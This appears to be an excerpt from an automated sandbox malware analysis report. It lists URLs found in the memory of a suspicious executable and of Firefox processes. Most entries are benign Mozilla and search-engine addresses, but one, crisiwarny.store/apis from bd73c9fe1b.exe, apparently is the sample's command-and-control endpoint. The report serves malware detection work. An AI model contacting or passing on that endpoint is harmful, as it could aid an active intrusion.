0000001A.00000002.2803703540.00000295E74E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2805617940.00000295E7E27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2779235507.00000295E566D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2805617940.00000295E7E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1B34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2790041065.00000295E69AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000002F.00000003.2873867404.000001B2AC2CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2874004878.000001B2AC29C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sresource://gre/module
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000002F.00000003.2874004878.000001B2AC29C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2873941382.000001B2AC2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/DeferredTask.sys.mjs
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000002.2792669760.00000295E6CC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2860589482.000001B2A84DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001A.00000002.2792669760.00000295E6CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-sitePr
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0EAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-in
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulopenPreferences/internalPrefCategoryNam
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml);
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000003.2658649077.00000295E52D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/get
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-color--panel-banner-item-updat
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2669089897.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001A.00000002.2790041065.00000295E69AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2790041065.00000295E691F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1403293
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2669089897.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2749678005.00000295D4C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2976602615.000001B29BC30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apis
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2885400512.000001B2AC3AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
